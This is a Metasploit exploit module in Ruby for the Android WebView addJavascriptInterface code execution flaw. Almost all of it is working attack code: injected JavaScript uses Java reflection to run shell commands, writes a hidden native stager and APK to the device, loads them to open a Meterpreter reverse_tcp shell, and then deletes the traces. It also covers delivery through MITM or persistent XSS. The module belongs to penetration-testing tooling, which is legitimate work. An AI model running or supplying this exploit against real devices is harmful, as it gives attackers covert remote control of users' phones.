metasploit-framework/modules/exploits/android/browser/webview_addjavascriptinterface.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::BrowserAutopwn

  # Since the NDK stager is used, arch detection must be performed
  SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE ] # todo: , ARCH_X86 ]

  # Most android devices are ARM
  DEFAULT_ARCH = ARCH_ARMLE

  # Some of the default NDK build targets are named differently than
  # msf's builtin constants. This mapping allows the ndkstager file
  # to be looked up from the msf constant.
  NDK_FILES = {
    ARCH_ARMLE  => 'armeabi',
    ARCH_MIPSLE => 'mips'
  }

  autopwn_info(
    :os_flavor  => 'Android',
    :javascript => true,
    :rank       => ExcellentRanking,

    # The Android 4.0 shell is different than other versions of android
    # in that the echo builtin does not allow the \x hex encoding syntax.
    # Android 4.0 is still vulnerable to the Java reflection exploit, but
    # until we find a way to drop and run the payload, we can't support
    # it as a target.
    :vuln_test  => %Q|
      if (!navigator.userAgent.match(/Android 4\.0;/)) {
        for (i in top) {
          try {
            top[i].getClass().forName('java.lang.Runtime');
            is_vuln = true; break;
          } catch(e) {}
        }
      }
    |
  )

  def initialize(info = {})
    super(update_info(info,
      'Name'                => 'Android Browser and WebView addJavascriptInterface Code Execution',
      'Description'         => %q{
            This module exploits a privilege escalation issue in Android < 4.2's WebView component
          that arises when untrusted Javascript code is executed by a WebView that has one or more
          Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
          APIs exposed by the Interface and execute arbitrary commands.

          Some distributions of the Android Browser app have an addJavascriptInterface
          call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
          4.1.2 release of Android is known to be vulnerable.

          A secondary attack vector involves the WebViews embedded inside a large number
          of Android applications. Ad integrations are perhaps the worst offender here.
          If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
          into the page displayed in the WebView, then you can inject the html/js served
          by this module and get a shell.

          Note: Adding a .js to the URL will return plain javascript (no HTML markup).
      },
      'License'             => MSF_LICENSE,
      'Author'              => [
        'jduck', # original msf module
        'joev'   # static server
      ],
      'References'          => [
        ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
        ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
        ['URL', 'http://50.56.33.56/blog/?p=314'],
        ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
        ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py']
      ],
      'Platform'            => 'android',
      'Arch'                => ARCH_DALVIK,
      'DefaultOptions'      => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
      'Targets'             => [ [ 'Automatic', {} ] ],
      'DisclosureDate'      => 'Dec 21 2012',
      'DefaultTarget'       => 0,
      'BrowserRequirements' => {
        :source     => 'script',
        :os_flavor  => 'Android'
      }
    ))
  end

  # Hooked to prevent BrowserExploitServer from attempting to do JS detection
  # on requests for the static javascript file
  def on_request_uri(cli, req)
    if req.uri =~ /\.js/
      serve_static_js(cli, req)
    else
      super
    end
  end

  # The browser appears to be vulnerable, serve the exploit
  def on_request_exploit(cli, req, browser)
    arch = normalize_arch(browser[:arch])
    print_status "Serving #{arch} exploit..."
    send_response_html(cli, html(arch))
  end

  # The NDK stager is used to launch a hidden APK
  def ndkstager(stagename, arch)
    localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')
    data = File.read(localfile, :mode => 'rb')
    data.gsub!('PLOAD', stagename)
  end

  def js(arch)
    stagename = Rex::Text.rand_text_alpha(5)
    script = %Q|
      function exec(obj) {
        // ensure that the object contains a native interface
        try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }

        // get the pid
        var pid = obj.getClass()
                     .forName('android.os.Process')
                     .getMethod('myPid', null)
                     .invoke(null, null);

        // get the runtime so we can exec
        var runtime = obj.getClass()
                         .forName('java.lang.Runtime')
                         .getMethod('getRuntime', null)
                         .invoke(null, null);

        // libraryData contains the bytes for a native shared object built via NDK
        // which will load the "stage", which in this case is our android meterpreter stager.
        // LibraryData is loaded via ajax later, because we have to access javascript in
        // order to detect what arch we are running.
        var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename, arch), '\\\\x')}";

        // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
        // another stager which loads android meterpreter from the msf handler.
        var stageData = "#{Rex::Text.to_hex(payload.raw, '\\\\x')}";

        // get the process name, which will give us our data path
        // $PPID does not seem to work on android 4.0, so we concat pids manually
        var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
        var ch, path = '/data/data/';
        while ((ch = p.getInputStream().read()) > 0) { path += String.fromCharCode(ch); }

        var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
        var stagePath = path + '/#{stagename}.apk';

        // build the library and chmod it
        runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor();
        runtime.exec(['chmod', '700', libraryPath]).waitFor();

        // build the stage, chmod it, and load it
        runtime.exec(['/system/bin/sh', '-c', 'echo "'+stageData+'" > '+stagePath]).waitFor();
        runtime.exec(['chmod', '700', stagePath]).waitFor();

        // load the library (this fails in x86, figure out why)
        runtime.load(libraryPath);

        // delete dropped files
        runtime.exec(['rm', stagePath]).waitFor();
        runtime.exec(['rm', libraryPath]).waitFor();

        return true;
      }

      if (!navigator.userAgent.match(/Android 4\.0;/)) {
        for (i in top) { if (exec(top[i]) === true) break; }
      }
    |

    # remove comments and empty lines
    script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '')
  end

  # Called when a client requests a .js route.
  # This is handy for post-XSS.
  def serve_static_js(cli, req)
    arch          = req.qstring['arch']
    response_opts = { 'Content-type' => 'text/javascript' }

    if arch.present?
      print_status("Serving javascript for arch #{normalize_arch arch}")
      send_response(cli, js(normalize_arch arch), response_opts)
    else
      print_status("Serving arch detection javascript")
      send_response(cli, static_arch_detect_js, response_opts)
    end
  end

  # This is served to requests for the static .js file.
  # Because we have to use javascript to detect arch, we have 3 different
  # versions of the static .js file (x86/mips/arm) to choose from. This
  # small snippet of js detects the arch and requests the correct file.
  def static_arch_detect_js
    %Q|
      var arches = {};
      arches['#{ARCH_ARMLE}']  = /arm/i;
      arches['#{ARCH_MIPSLE}'] = /mips/i;
      arches['#{ARCH_X86}']    = /x86/i;

      var arch = null;
      for (var name in arches) {
        if (navigator.platform.toString().match(arches[name])) {
          arch = name;
          break;
        }
      }

      if (arch) {
        // load the script with the correct arch
        var script = document.createElement('script');
        script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
        script.setAttribute('type', 'text/javascript');

        // ensure body is parsed and we won't be in an uninitialized state
        setTimeout(function(){
          var node = document.body \|\| document.head;
          node.appendChild(script);
        }, 100);
      }
    |
  end

  # @return [String] normalized client architecture
  def normalize_arch(arch)
    if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
  end

  def html(arch)
    "<!doctype html><html><body><script>#{js(arch)}</script></body></html>"
  end
end